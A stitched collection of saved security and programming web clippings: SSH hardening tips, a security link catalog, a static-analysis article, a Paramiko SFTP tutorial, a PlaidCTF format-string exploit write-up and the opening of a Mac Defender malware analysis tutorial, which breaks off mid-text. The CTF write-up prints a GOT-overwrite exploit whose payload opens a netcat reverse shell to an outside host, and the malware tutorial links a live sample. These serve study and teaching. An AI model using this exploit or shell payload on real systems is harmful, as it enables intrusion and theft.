amazon.com/widgets/q?_encoding=UTF8&Format=_SL160_&ASIN=0321623215&MarketPlace=US&ID=AsinImage&WS=1&tag=solarianprogr-20&ServiceVersion=20070822'
/><img src='img/Temp2_7621.gif' width='1' height='1' />

blog comments powered by Disqus

* * *

# OpenRCE

**Created:**| _5/21/2009 12:31:28 PM_  
---|---  
**Updated:**| _5/21/2009 12:31:36 PM_  
**Author:**| __  
**Tags:**| _Debugging windows security python_  
  
What is WinAppDbg?  
==================  
  
The WinAppDbg python module allows developers to quickly code instrumentation  
scripts in Python under a Windows environment.  
  
It uses ctypes to wrap many Win32 API calls related to debugging, and provides  
an object-oriented abstraction layer to manipulate threads, libraries and  
processes, attach your script as a debugger, trace execution, hook API calls,  
handle events in your debugee and set breakpoints of different kinds \(code,  
hardware and memory\). Additionally it has no native code at all, making it  
easier to maintain or modify than other debuggers on Windows.  
  
The intended audience are QA engineers and software security auditors wishing
to  
test / fuzz Windows applications with quickly coded Python scripts. Several  
ready to use utilities are shipped and can be used for this purposes.  
  
Current features also include disassembling x86 native code \(using the open  
source diStorm project, see http://ragestorm.net/distorm/\), debugging
multiple  
processes simultaneously and produce a detailed log of application crashes,  
useful for fuzzing and automated testing.  
  
  
Where can I find WinAppDbg?  
===========================  
  
The WinAppDbg project is currently hosted at Sourceforge, and can be found at:  
  
http://winappdbg.sourceforge.net/  
  
It's also hosted at the Python Package Index \(PyPi\):  
  
http://pypi.python.org/pypi/winappdbg/1.1

# Auditing and hardening SSH configurations

**Created:**| _6/28/2014 2:11:26 PM_  
---|---  
**Updated:**| _6/28/2014 2:11:26 PM_  
**Author:**| __  
**Tags:**| _hardending ssh_  
  

# Auditing and Hardening SSH configurations

SSH \(Secure SHell\) is used for secure data communications between systems,
including a common used way to remotely log on to Unix based systems. As this
opens up a potential gateway into the system, hardening the configuration of
the SSH daemon is an important step. In this article we focus on several
common configuration options of SSH and what to look for.

## Client and Server

SSH has two parts: the **client** used for connecting to a server, and the
**server daemon** itself. This latter one is usually the most important part
in deciding how “secure” a connection may be. One example is that the server
can decide if normal password based logins are allowed or denied. Even if the
client has a preference, it is the server to make the final call.

The client configuration settings can be found in **/etc/ssh/ssh\_config**
\(system wide\) or **~/.ssh/config** \(per user\). For the server
configuration file: **/etc/ssh/sshd\_config**

## 10 Tips to secure SSH

Securing SSH consists of setting parameters in the SSH configuration file. We
focus mainly on the SSH daemon, with the following 10 tips:

### 1\. Set SSH protocol

Version 1 of the SSH protocol has weaknesses. Therefore make sure only
protocol version 2 can be used.

> Protocol 2
### 2\. Use of X11Forwarding

The display server on the client might have a higher exposure to be attacked,
when enabling this option. If forwarding of X11 traffic is not needed, disable
it by setting this value to “no”.

> X11Forwarding no
### 3\. Disable rhosts

While not common anymore, rhosts were a weak way to authenticate systems. By
default the use of rhosts is already disabled. Make sure to check if it really
is.

> IgnoreRhosts yes
### 4\. DNS hostname checking

By default the SSH server can check if the client connecting maps back to the
same combination of hostname and IP address. Use this option to perform this
basic check.

> UseDNS yes
### 5\. Empty passwords

Accounts should be protected and users should be accountable. For this reason
the usage of empty passwords should never be allowed.

> PermitEmptyPasswords no
### 6\. Maximum authentication attempts

To prevent a brute force attack on the password of a user, limit the amount of
attempts. Also enable monitoring for authentication failures, which starts at
the half the number of maximum attempts. Use these authentication failures
together with your SIEM solution, or forward them to your security
administrator.

> MaxAuthTries 6
### 7\. Public key authentication

Instead of using a normal password based login, one might opt for using public
key authentication instead. Keys are considered much safer and less prone for
brute force attacks. Disable password authentication to force using keys.

> PubkeyAuthentication yes
> PasswordAuthentication no
### 8\. Root login

It is best practice not to login as root directly. Use a normal user account
to initiate your connection, together with sudo. Direct root logins may result
in bad accountability of the actions by this user account.

> PermitRootLogin no
### 9\. Usage of Allow and Deny Users/Groups

When not all users should have access to the system, limit the amount of
people who can actually log in. One way is to create a group \(e.g. sshusers\)
and add people to this group. Next set the **AllowGroups** option to define
that only these users can log in.

Other possibilities include to only allow a few users with the **AllowUsers**
, or specifically deny users and groups with the **DenyUsers** , or
**DenyGroups**.

SSH applies the following order to determine if one can log in: DenyUsers,
AllowUsers, DenyGroups, finally AllowGroups.

### 10\. Use HashKnownHosts

Each time the SSH client connects with a server, it will store a related
signature \(a key\) of the server. This information is stored in a file names
named **known\_hosts**. The known\_hosts file itself is available in the .ssh
subdirectory of the related user \(on the client\). In the case the signature
of the server changes, SSH will protect the user by notifying about this
chance. This option is useful, but also has a risk. Previously it was common
to store the hostname related with the key. This made it easy for worms and
other malicious scripts to use this information and spread to other systems,
once they had a single system compromised. To counter this, the HashKnownHosts
will hash each host, so it’s not readable anymore. While being unreadable for
the human eye, it still allows SSH to check for the next time you connect to
the same system, as the results in the same hash.

_Example output:_

> |1|XV5CFMH8LLIQPq7PxdBhGX7I9PA=|VKNLdODsQlJ/j4cvTZncqs9vgh0= ecdsa-
> sha2-nistp256 AAAAE2VjZHNhLX _…._ dJ/RzzZLH8Hs0UgroC0=

# Introduction | IT Security Catalog
**Created:**| _8/19/2015 11:26:05 AM_  
---|---  
**Updated:**| _8/19/2015 11:26:05 AM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# IT Security Catalog v.2.0

Previously project was located here: https://code.google.com/p/it-sec-
catalog/, but as Google Code hosting is going to shut down, all stuff has been
migrated here. Many changes to content have been made too:

  * rearranged and split into more appropriate sections;
  * removed section on analysis of the bugs and merged with "Bug Analysis and Exploitation";
  * fixed links and information, restored many dead links;
  * replaced "Type" column with "Author" column;
  * added meta-information along with CVE, i.e. bug name.

## About project

This project has appeared as an attempt to index and summarize links to
computer security related stuff. Slides \(there is other project collecting
them\), copy-pastes, wrong and erroneous articles are not included. Main focus
is software exploitation -- memory corruption bugs and non-corruption bugs
leading to remote code execution \(excluding web\), privilege escalation, data
exfiltration, DoS. Malware section is in development.

Highlighted items:

  * vulnerability development, software exploitation \- sorted by type of vulnerability;
  * malware analysis;

## Disclaimer

If you notice link pointing to an article with potentially promotional
character, please be aware that I am not affiliated in any way with any
related companies. Links posted here are posted only because I may find
content interesting. I am not paid to run this project, or publish links.

Errors may occur, so please, don't hesitate to contact me if you encounter
one.

Thanks to everyone who contributed to the project.

# The Ethical Hacker Network - Tutorial: SEH Based Exploits and the
Development Process

**Created:**| _5/5/2010 9:53:55 AM_  
---|---  
**Updated:**| _5/5/2010 9:54:57 AM_  
**Author:**| __  
**Tags:**| _bookmark Debugging windows security Exploit_  
  
<img src='img/The Ethical Hacker Network - Tutorial: SEH Based Exploits and
the Development Process.pdf' />

# Machine Learning - Stanford University

**Created:**| _9/17/2011 4:10:26 PM_  
---|---  
**Updated:**| _9/17/2011 4:10:26 PM_  
**Author:**| __  
**Tags:**| _bookmark AI_  
  

A bold experiment in distributed education, "Machine Learning" will be offered
free and online to students worldwide during the fall of 2011. Students will
have access to lecture videos, lecture notes, receive regular feedback on
progress, and receive answers to questions. When you successfully complete the
class, you will also receive a statement of accomplishment. Taught by
Professor Andrew Ng, the curriculum draws from Stanford's popular Machine
Learning course. A syllabus and more information is available here. Sign up
below to receive additional information about participating in the online
version when it becomes available.

# What's The Difference Between Static Analysis of C and C++ Versus Java Programs | Compilers content from Electronic Design
**Created:**| _7/28/2013 7:47:48 AM_  
---|---  
**Updated:**| _7/28/2013 7:47:48 AM_  
**Author:**| __  
**Tags:**| __  
  

# **W** hat's The Difference Between Static Analysis of C and C++ Versus Java
Programs****

Nov**.** 19, 2012 Paul Anderson | Electronic Design 
Static analysis tools are in widespread use because they are effective at
finding programming defects**.** They work by analyzing the source code of a
program without executing it, so don’t require test cases**.** Loosely
speaking, these tools operate in two phases**.** First, they parse the source
code to create a model of the program; then they use a variety of techniques
that examine the model to find defects**.** These techniques can range in
sophistication from simple syntactic analysis through whole-program path-
sensitive symbolic execution**.** They can find simple defects such as
violations of spelling conventions, or more serious run-time errors such as
null pointer exceptions, resource leaks, and data races**.** The most valuable
analysis techniques are those that find the defects that are most damaging
when they show up in the field**.** Of course this can vary tremendously
depending on the application domain—a program intended for use in a secure
environment will be vulnerable in very different ways to a program designed to
be used in a trusted setting**.** This article is intended to be domain-
agnostic so I discuss the kinds of bugs that are likely to be important in
many kinds of applications**.**

Although languages do have many classes of programming error in common, the
potential for damage varies enormously between languages**.** For example, the
consequences of a run-time error such as a buffer overrun can be catastrophic
in memory-unsafe languages such as C and C++, but languages such as Java are
more disciplined so have a much lower risk of serious and unpredictable
effects from such errors**.** This article explores these differences for C
and C++ and Java and explains which analysis techniques are most appropriate
for each language**.** Tools need sophisticated path-sensitive analysis
techniques to find the most common and risky defects in C and C++ code, but
even quite lightweight analysis algorithms can be extremely effective for
Java**.**

###  Risks of C and C**** ++

C was designed as a language for systems programming at a time when it was
important to be able to wring as much speed as possible from systems
software**.** Unfortunately the same language features that make it possible
for compilers to generate very fast code also make C a very risky language to
use**.** Although C++ is better in many respects, it has inherited many of the
problematic features of C. \(From here on when I refer to “C”, I mean to
include the subset of C++ that shares these issues**.**\) The two chief
complaints are weakness on type safety, and unchecked pointer arithmetic**.**
The lack of type safety means it is possible to cast a value of one type into
another type with no guarantees that the conversion is legal**.** The ability
to do pointer arithmetic means it is possible to access essentially any
location in the address space of the program**.** These two features can be
used to create programs that are extremely fast and efficient, but the
consequences of misuse can be severe**.**

In C it is easy to write programs that stray outside the bounds of defined
behavior, with hugely unpredictable results**.** For example, consider the
well-known buffer overrun bug; this bug is one of the most notorious in the
history of computing, because it has enabled innumerable security
breaches**.** The ability to do unchecked pointer arithmetic is at the root of
why buffer overruns are so dangerous**.**

It is easy for a programmer to inadvertently introduce a buffer overrun—all it
takes is to forget to check whether incoming data can fit in the available
space**.** What makes it so hazardous is that C has no built-in protection
against the damage it can wreak**.** A carefully-crafted input vector can
allow attackers to hijack the running program and force it to do as they
wish**.**

In contrast, the same defect in a Java program is relatively benign**.** The
Java specification is explicit in requiring that every buffer access be
checked, and an exception thrown if the access is determined to be
illegal**.** In Java, even an unhandled exception has predictable consequences
and Java programmers are accustomed to thinking about what exceptions may
occur and how to handle them**.** As a result it is conventional for programs
to be written to log exceptions and either recover or restart**.** This turns
a buffer overrun from a potentially catastrophic bug into a relatively minor
annoyance that is fairly easy to debug**.**

There are several other classes of programming defect that have serious
ramifications for C programs, but are mostly harmless or non-existent in Java
code**.** For example, one of the more difficult aspects of C/C++ programming
is dynamic memory management**.** The programmer is entirely responsible for
allocating and releasing blocks of memory: when this is done incorrectly the
program can leak memory, and the heap can even be corrupted if inappropriate
memory locations are freed**.** In Java programs, automatic garbage collection
makes memory management mostly a non-issue**.**

###  Risks of Java****

In contrast to C, the most common bugs in Java programs do not cause crashes
as much as introduce subtle semantic errors**.** Java has a very rich set of
libraries, running the gamut from basic data types like maps and regular
expressions, through UI toolkits, and on to enterprise-architecture
frameworks**.** As with any API there are ways in which the libraries can be
misused, and this misuse may introduce defects**.**

For example, all classes in Java are derived from the Object class, for which
methods equals\(\) and hashCode\(\) are defined**.** A very important
invariant in Java is that objects that are considered equal must also have
equal hash codes**.** If this invariant is violated, it is considered a bug
because classes such as HashTable will then not work as expected**.** This
defect will never trigger a run-time error directly; instead it is more likely
to cause puzzling symptoms. For example, an object placed in a hash table may
become impossible to retrieve**.** Unfortunately there are many ways that a
programmer can inadvertently write code that violates the invariant—for
example, a subclass that overrides equals\(\) but not hashCode\(\) is very
likely to have this problem**.**

Similarly, many classes in Java implement the Serializable interface, which
allows objects to be written to and read from persistent storage**.** This
interface can be incredibly useful, but implementing it can be very tricky so
there are conventions that reduce the likelihood of mistakes**.** For example,
it is conventional to explicitly define the serialVersionUID field in all
serializable classes to take advantage of the runtime’s built-in compatibility
checking**.** Code that does not do so is perfectly legal, but vulnerable to
bugs**.** Implications for Static Analyzers

It is fair to say that the most common serious defects in C programs are
memory access errors, whereas a large proportion of the serious mistakes in
Java programs are caused though misuse of standard APIs**.** Unsurprisingly,
the techniques best suited to finding these classes of defects are quite
different**.**

To find a memory access error in a C or C++ program, an analysis tool must
find a program execution path on which the error manifests**.** Most programs
work correctly for most execution paths, so defects will generally occur only
on unusual or lightly-exercised paths**.** These often correspond to corner
cases that are difficult to cover with testing**.** The relevant part of the
path can start in one part of the program, go around various loops, and
involve procedure call chains that span compilation unit and module
boundaries**.** Thus a whole-program path-sensitive analysis that is capable
of performing symbolic execution is one of the most effective techniques for
finding those defects statically**.** Implementing such an analysis is not for
the faint-hearted—vendors that offer such tools have put several person-
decades of effort into developing sophisticated analysis algorithms. Almost as
important as finding the defects is helping users understand them in the
context of the entire program, so the tools provide features to help with
this**.** Figure 1  below shows a screenshot from one such tool**.**

<img src='http://electronicdesign.com/content/content/74684/74684_fig1sm.jpg'
alt='74684_fig1sm' />

Figure 1**.** A screenshot from a static analysis tool. The left pane shows a
visualization of the call graph, with red highlighting to indicate the modules
in which the analysis has found the most problems.

In contrast, the Java issues discussed above require a less sophisticated
analysis because they are mostly simple properties of the code’s
structure**.** Consequently a great deal of benefit can be gained from using
relatively lightweight tools**.** For Java, the primary tool in this domain is
FindBugs \(findbugs.sourceforge.net\)**.** This is a free, open-source tool
that is very easy to use either standalone or integrated with other tools**.**
All Java developers can benefit from using FindBugs on their code from time to
time, and the price means there is no good reason not to do so**.**

<img src='http://electronicdesign.com/content/content/74684/74684_fig2sm.jpg'
alt='74684_fig2sm' />

Figure 2**.** A report from FindBugs indicating that a class implementation is
not using best practices for serializable classes**.**

Tools of this type are effective because they have knowledge bases of hundreds
of patterns that indicate bad practice, questionable correctness, latent
security vulnerabilities, or simply suspicious code**.** Both of the Java
issues discussed earlier can be detected with FindBugs \(Fig**.** 2\) .

###  Caveats****

As mentioned above, problems like API misuse and memory access errors occur
across many application domains**.** However, if your program is intended to
be used in a setting where it is particularly susceptible to certain kinds of
defect, then it is worth considering using multiple techniques and tools to
find and eliminate those defects**.** For example, if Java is being used for
an Internet-enabled database application, defects may render the application
vulnerable to attacks such as SQL injection or cross-site scripting**.** In
that case, it is advised to use tools that are specialized for identifying
those issues**.**

Concurrency defects such as data races, starvation, and deadlock are in a
category of their own because they are very serious in all languages and
because they are very difficult to find and diagnose**.** Data races are
particularly problematic because they are usually very sensitive to
timing**.** A program with a data race bug can run perfectly hundreds of times
in the same environment with the same inputs, yet still fail with confusing
and mysterious symptoms when executed once more**.**

Statically detecting concurrency defects requires algorithms even more complex
than those for finding memory errors**.** The most sophisticated tools for C
and C++ do already have this ability, although their effectiveness varies
considerably and scalability can be problematic**.** For Java, such
capabilities are only just emerging in commercial tools and have yet to be
introduced in free open-source tools**.**

###  Conclusion****

Despite the many problems with C and C++, there is still no widely-accepted
alternative high-level language for many applications**.** This is
particularly true for embedded systems because of the prevalence of special-
purpose processors**.** C is the standard language because the cost of
developing tool chains for C for those processors is relatively low**.** It is
reasonable to expect that C and C++ will be with us for a very long time to
come**.** Unhappily, despite widespread knowledge of the defects that C and
C++ programs are particularly susceptible to, programmers continue to make the
same mistakes and these bugs remain disappointingly prevalent**.** Advanced
static-analysis tools for C and C++ offer one way to find these defects before
they show up in the field**.**

A more encouraging trend for embedded systems development is that programmers
are increasingly using safer languages such as Java when appropriate, such as
for the desktop or mobile applications used to communicate with the embedded
systems. Of course such programs are prone to bugs too, but even the worst
defects will tend to be less devastating than those found in C and C++
programs. The good news is the availability of low-cost static analysis tools
which make it possible to find those bugs early in the development cycle**.**

****

# Command Line Warriors - SFTP in Python: Paramiko

**Created:**| _1/15/2010 9:00:17 AM_  
---|---  
**Updated:**| _1/15/2010 9:00:25 AM_  
**Author:**| __  
**Tags:**| _python crypto programming_  
  

# SFTP in Python: Paramiko

28 May 2008

In your scripts or applications, you might need to copy a file from one server
to another. One way to do this is to use SFTP, the secure file transfer
program, which uses an encrypted SSH \(Secure Shell\) transport which in turns
runs over TCP/IP.

One of the Python implementations of SSH is called Paramiko \(available in
package managers as paramiko or python-paramiko\).

Paramiko is extremely comprehensive so you can get as complicated as you like,
but for me, I just want to be able to copy files from a known remotepath to a
known localpath and back again.

In this post I explain how to do this using Paramiko directly, in the next-
post, I look at another approach.

So we start by importing the module, and specifying the log file:

[code]

    import paramiko
    paramiko.util.log_to_file('/tmp/paramiko.log')
    
    
[/code]

We open an SSH transport:

[code]

    host = "example.com"
    port = 22
    transport = paramiko.Transport((host, port))
    
    
[/code]

Next we want to authenticate. We can do this with a password:

[code]

    password = "example101"
    username = "warrior"
    transport.connect(username = username, password = password)
    
    
[/code]

Another way is to use an SSH key:

[code]

    import os
    privatekeyfile = os.path.expanduser('~/.ssh/id_rsa')
    mykey = paramiko.RSAKey.from_private_key_file(privatekeyfile)
    username = 'warrior'
    transport.connect(username = username, pkey = mykey)
    
    
[/code]

Now we can start the SFTP client:

[code]

    sftp = paramiko.SFTPClient.from_transport(transport)
    
    
[/code]

Now lets pull a file across from the remote to the local system:

[code]

    filepath = '/home/zeth/lenna.jpg'
    localpath = '/home/zeth/lenna.jpg'
    sftp.get(filepath, localpath)
    
    
[/code]

Now lets go the other way:

[code]

    filepath = '/home/zeth/lenna.jpg'
    localpath = '/home/zeth/lenna.jpg'
    sftp.put(filepath, localpath)
    
    
[/code]

Lastly, we need to close the SFTP connection and the transport:

[code]

    sftp.close()
    transport.close()
    
    
[/code]

In my humble opinion, one should not have to write so many lines or care about
the SSH protocol just to send a file from a to b. In the next-post, I will
share my own higher level API that runs on top of Paramiko.

# Open-Source Cryptographic Libraries and Embedded Platforms

**Created:**| _11/10/2010 8:21:43 AM_  
---|---  
**Updated:**| _11/10/2010 8:22:03 AM_  
**Author:**| __  
**Tags:**| _Embedded crypto mobile/embedded_  
  
<img src='img/Temp2_5855' />

# ålenkå - Browse Files at SourceForge.net

**Created:**| _1/31/2012 7:26:16 PM_  
---|---  
**Updated:**| _1/31/2012 7:26:31 PM_  
**Author:**| __  
**Tags:**| _performance GPU dbms_  
  

Looking for the latest version? ** Download alenka\_source\_1\_26\_2012.zip
\(117.0 kB\) **

Home

Name| Modified| Size| Status  
---|---|---|---  
Totals: 5 Items|  | 132.4 kB|   
readme.txt| 2012-01-26| 1.3 kB| i<img src='img/Temp2_10803.png' width='20'
height='16' alt='1,557 downloads' />  
manual.txt| 2012-01-26| 3.5 kB| i<img src='img/Temp2_10802.png' width='20'
height='16' alt='1,366 downloads' />  
star\_schema\_benchmark.zip| 2012-01-26| 8.9 kB| i<img
src='img/Temp2_10799.png' width='20' height='16' alt='207 downloads' />  
alenka\_test.zip| 2012-01-26| 1.7 kB| i<img src='img/Temp2_10801.png'
width='20' height='16' alt='326 downloads' />  
alenka\_source\_1\_26\_2012.zip| 2012-01-26| 117.0 kB| i<img
src='img/Temp2_10800.png' width='20' height='16' alt='904 downloads' />  
Alenka is a modern analytical database engine written to take advantage of
vector based processing and high bandwidth of modern GPUs. Features include:
Vector-based processing CUDA programming model allows a single operation to be
applied to an entire set of data at once. Self optimizing compression Ultra
fast compression and decompression performed directly inside GPU Column-based
storage Minimize disk I/O by only accessing the relevant data Fast database
loads Data load times measured in minutes, not in hours. Open source and free
Some benchmarks : Alenka : Pentium E5200 \(2 cores\), 4 GB of RAM, 1x2TB hard
drive , NVidia GTX 260 Current Top \#10 TPC-H 300GB non-clustered performance
result : MS SQL Server 2005 : Hitachi BladeSymphony \(8 CPU/8 Cores\), 128 GB
of RAM, 290x36GB 15K rpm drives Current Top \#7 TPC-H 300GB non-clustered
performance result : MS SQL Server 2005 : HP ProLiant DL585 G2 \(4 CPU/8
Cores\), 128 GB of RAM, 200x36GB 15K rpm drives Time of Q1 of TPC-H Scale
Factor 300 : Alenka Top\#10 Top\#7 178s 485s 309s Alenka is a pretty much work
in progress so please be careful if you use it on a production data :-\)
antonmks@gmail.com

  *[2012-01-26]: 2012-01-26 06:27:14 UTC

# PlaidCTF 2011 \#25 – PC Rogue \(600\) » Leet More

**Created:**| _4/26/2011 9:01:10 PM_  
---|---  
**Updated:**| _4/27/2011 2:29:24 PM_  
**Author:**| __  
**Tags:**| _ctf awesome_  
  

Apr  
26

##  PlaidCTF 2011 \#25 – PC Rogue \(600\)

  * Writeups

by hellman

**Category: pwnables**

> Amalgamated has banned the use of Solitaire due to loss of productivity.  
>  The only employee who would write a new game for everyone only likes
> ‘retro’ games, and has placed a text-adventure version of pacman on a
> company server.  
>  We don’t believe he could have coded this securely, and the server contains
> a vital key.  
>  Connect to the game here and find the key.
> **`nc a9.amalgamated.biz 60123` **
**Summary:** remote formatstring vulnerability, without binary

### Looking around

This task is a text-mode pacman without enemies. You can move along the map,
and take pills and powerpills. Also it’s 8bit emulation and you can’t take a
powerpill when it increases powerpoins greater than 127. I haven’t found any
bugs at first, so I decided to write a bot for scanning the map. It is stupid
enough, but it covers the whole map :\) bot.py

Unhappily, when I ate all pills, nothing had happened:

<img src='img/Temp2_6254.png' alt='Pacman game map' />

Later, I looked through the whole game \(png’s in the **‘game’** folder\) and
noticed, that powerpills can be -128 and do not decrease when they are
negative. 118th turn:

<img src='img/Temp2_6253.png' alt='Negative powerpills and strange string in
Item' />

Oops, the **‘Item’** field is “take”. Why?

You can have noticed, this field depends on the value of POWERPOINTS. So it
should be something like this:

`puts(Messages[POWERPOINTS])`

And when POWERPOINTS are negative, this code prints something from user input.
Looks like it is probable to be formatstring vulnerability:
`printf(Messages[POWERPOINTS])`. Let’s check\! But first, we didn’t know which
“take” is printed. I tried to change the first one and it worked:

[code]

    pacman $ 
    (
         echo
         "fake"
         ;
    head 
    -n
         118
         history
         .txt
    )
         |
    nc a9
    .amalgamated
    .biz
    
    60123
    ...
    STATUS:
    Item: fake
    POWERPOINTS:-128
    ...
            
[/code]

Ok, let’s try some format:

[code]

    pacman $ 
    (
         echo
         "hey,
    %08x"
         ;
    head 
    -n
         118
         history
         .txt
    )
         |
    nc a9
    .amalgamated
    .biz
    
    60123
    ...
    STATUS:
    Item: hey, bfec4e54
    POWERPOINTS:-128
    ...
            
[/code]

YES\! It’s format string\!

### Dumping binary

What now? We don’t have a binary, so it’s unreal to exploit it. Let’s dump it
via **“%s”** format. Why “%s”? Because it’s the only one, which allows
printing data from arbitrary address.

First, we need to found number of argument to printf, which points to our
buffer. It’s easy:

`AAAABBBBCCCC%11$08x`prints AAAABBBBCCCC43434343, so **%11$** points to CCCC.
We can dump the binary with such format strings:

`AAAABBBB\x01\x80\x04\x08%11$s`prints “AAAABBBB\x01\x80\x04\x08ELF…”

Here is a scriptfor that. It is rather slow, but it works. When dumped, we
should patch the first byte from 00 to 7F \(standard ELF header\).

### Exploiting

Well, the dumped binaryis rather corrupted, but we can find some useful
things. A good idea is to find a piece of code where the format string bug is
present. It is just after printing “Item”, so let’s find this string, and a
xref to it:

[code]

         LOAD:0804ADC7
    aItem           
    db
         0Ah
         ;
    DATA XREF: main+99o
         LOAD:0804ADC7
                    
    db
         'Item:
    '
         ,
         0
        
[/code]

[code]

         LOAD:080496B2
     
    mov
         dword
         ptr
         [
         esp
         ]
         ,
         offset
    aStatus 
    ;
    "\n\nSTATUS:"
         LOAD:080496B9
     
    call
         sub_804843C
         LOAD:080496BE
     
    mov
         dword
         ptr
         [
         esp
         ]
         ,
         offset
    aItem 
    ;
    "\nItem: "
         LOAD:080496C5
     
    call
         sub_804843C
         LOAD:080496CA
     
    movzx
         eax
         ,
         byte
         ptr
         [
         ebp
         -
         0E2h
         ]
         LOAD:080496D1
     
    movsx
         eax
         ,
         al
         LOAD:080496D4
     
    mov
         eax
         ,
         [
         ebp
         +
         eax
         *
         4
         -
         2E4h
         ]
         LOAD:080496DB
     
    mov
         [
         esp
         ]
         ,
         eax
         LOAD:080496DE
     
    call
         sub_804843C
         LOAD:
         080496
         E3
         movzx
         eax
         ,
         byte
         ptr
         [
         ebp
         -
         0E2h
         ]
         LOAD:080496EA
     
    movsx
         eax
         ,
         al
         LOAD:080496ED
     
    mov
         [
         esp
         +
         4
         ]
         ,
         eax
         LOAD:080496F1
     
    mov
         dword
         ptr
         [
         esp
         ]
         ,
         offset
    aP 
    ;
    "\nPOWERPOINTS:%d"
         LOAD:080496F8
     
    call
         sub_804843C
        
[/code]

` **sub_804843C** `appears to be ` **printf** `. It’s nice target for
overwriting at GOT\! Let’s find printf@GOT:

[code]

         LOAD:0804843C
    sub_804843C     
    proc
         near
         LOAD:0804843C
                    
    jmp
         off_804BF20
        
[/code]

Ok, ` **printf@GOT** `is ` **804BF20** `. If we overwrite it with ` **system**
`address, the program will do ` **system("POWERPOINTS: %d")** `and other
strings, and it will fail. But after the next turn, it will do `
**system(our_format_string)** `.

But how do we know ` **system** `address? Maybe you have noticed a string
**“Command limit reached. Reseting command buffer.”**. Looks like it allows us
to make a second format string without reconnect. The buffer is resetted after
each 127 commands, so the second format string must be 128th command.

So exploit is:

  * got current **printf** address with the first format string
  * calculate corresponding **system** address; offset can be got from a5 host \(gdb: p/x &printf – &system\)
  * send a format string which begins with argument to **system** and overwrites **printf@got** to **system**.

My exploit is here.

[code]

    pacman $ py exploit
    .py
    Format string
    :
         '
    nc a5.amalgamated.biz 3123 -e /bin/bash & #    
    \xbf\x04\x08"\xbf\x04\x08%12616u%21$hn%34299u%22$hn'
    20bf0408 
    0x3180
         L
    22bf0408 
    0xb77b
         L
    Worked
    !
        
[/code]

And listening netcat at a5:

[code]

    z2_1@a5
    :~$
    nc -lvp 
    3123
    listening on 
    [
         any
         ]
         3123
         .
         .
         .
    connect to 
    [
         128.237.157.38
         ]
    from AMALGAMATED-
    9
         .CLUB
    .CC
    .CMU
    .EDU
    
    [
         128.237.157.79
         ]
         47105
    id
    uid
    =
         1005
         (pc
    )
    gid
    =
         1006
         (pc
    )
    groups
    =
         1006
         (pc
    )
    cat 
    /home/pc/key
    true8_bit_is_best_bit
            
[/code]

The flag:

# Reverse Engineering Mac Defender ...

**Created:**| _6/7/2011 7:12:19 AM_  
---|---  
**Updated:**| _6/7/2011 7:12:40 AM_  
**Author:**| __  
**Tags:**| _reversing Mac-hacking_  
  

# Reverse Engineering Mac Defender

\(OS X\) malware analysis for beginners ...

### Introduction

This is an article about reverse engineering a part of the prominent "Mac
Defender" malware - namely the part that downloads the main malware onto a
user's Mac. As mentioned in the title this text is mainly written for people
who have no experience with reverse engineering. Thus you will only need very
basic understanding of x86 assembly, x86 calling conventions and a little
Objective-C \(reading the wikipedia article should be enough\).

We will try to find out how the downloader retrieves the URL where the main
malware program is hosted. We will only use static analysis to achieve this
goal so you won't need a Macintosh computer. Statical analysis means that we
won't execute any malware code - we will try to decipher its secrets just by
looking at the disassembly.

Please note that I am not a professional reverse engineer/malware analyst. I
do this whenever I am bored. So some info in this article might lead to
extreme facepalming among professionals. Also you don't want to follow this
article on a mission critical computer. We won't execute any malware code but
you never know. You could accidentally launch the app or someone using your
computer might get curious and start it.

### Setting up your working environment

First you will need a copy of IDA Pro. No worry, you don't need to buy it. We
will be using the free demo version of IDA Pro 6.1. Which you can download
from here.

Then you will need a copy of the evil malware we want to reverse engineer. You
can get it from here:

[code]

    http://jsz.github.com/bin/avRunner.app.zip
    
[/code]

Download and extract the archive but **DO NOT RUN THE APP**\!

### In case of emergency

If you somehow execute the avRunner app you don't need to be scared. The Mac
Defender malware is pretty lame and getting rid of it is easy:

[code]

    $ kill -9 [mac defender pid]
    
    
[/code]

Also the newest OS X update will remove the malware.

### Getting to work

Now it's time to get started with malware analysis. As mentioned earlier our
aim is to find out how the downloader gets/generates/receives/finds the
download URL of the main malware.

So let's start IDA and load the "avRunner" binary. Either drop the file onto
IDA's "drop here" field or go the File->Load File way. Select the i386 binary
\(the demo can't disassemble 64bit code\), click 'Ok' in the dialog and wait a
little for the analysis to complete.

After the analysis completes you will be shown the disassembly for the
`main()` function:

<img src='img/Temp2_6849.png' />  
There's not much to be seen here because the application is a Objective-C
Cocoa app. All `main()` does is to call `NSApplicationMain()` which is a
function deep in Apple's libraries. As no user code is executed there we need
to find a good entry point in the malware to start our analysis.

One of the classic entry points in Cocoa apps is the
`-applicationDidFinishLaunching:` method of the application's
controller/delegate. So maybe there's something interesting. Scroll through
the functions window and double click on
`__InstallerAppDelegate_applicationDidFinishLaunching__`.

You will get this disassembly:

<img src='img/Temp2_6855.png' />  
Hmm, not much happening here either. So back to the functions window ...

Let's scroll through the functions list to find something that looks like a
good entry point. If we don't find anything we'll have to fire up the debugger
and follow the execution path. Which can be tedious. So we better find a
candidate now :\)

Ah, there. `__DownloadWindCtrl_startDownloadingURL__` looks pretty promising.
Thank his Steveness for the extreme verbosity of Obj-C. A double click and
bingo. Much is going on here:

<img src='img/Temp2_6857.png' width='50%' />

Without reading any disassembly we can see that there's a suspicious format
string which looks like a URL without the host part. I bet this is the place
we've been looking for. So we zoom & enhance onto that section and take a
deeper look.

[code]

    lea     eax, (cfstr_Http@MacSoft_p.isa - 2E3Fh)[ebx] ; "http://%@/mac/soft.php?affid=%@"
    mov     [esp+8], eax
    mov     eax, ds:(off_543C - 2E3Fh)[ebx]
    mov     [esp+4], eax
    mov     eax, ds:(off_5458 - 2E3Fh)[ebx]
    mov     [esp], eax
    call    _objc_msgSend
    
    
[/code]

The first instruction loads the address of the format string into the eax
register. The next instruction `mov [esp+8], eax` moves the address onto the
stack. In combination with a call to `_objc_msgSend` a few lines later we can
conclude that this format string is passed to a objective-c method.

If we only knew which Obj-C method will be called. This is something tedious
to find out by looking at disassembly. You have to inspect the first and 2nd
argument to `_objc_msgSend` to get an idea which method is invoked on which
object. I'll describe later how that works in detail. For now let's just do
what we and Dr. House can do best: guessing.

Usually format strings are passed to functions that take the string as the 1st
or 2nd argument and each following argument is "put into the place" of the
corresponding format specifier in the format string. There are complex format
strings with random argument access but they are not the norm and luckily we
can see that our format string is pretty simple. It only takes 2 arguments.

A line above the `lea eax, ...` instruction we see that the contents of the
`esi` register are placed onto the stack right next to our format string:

[code]

    mov     [esp+10h], eax
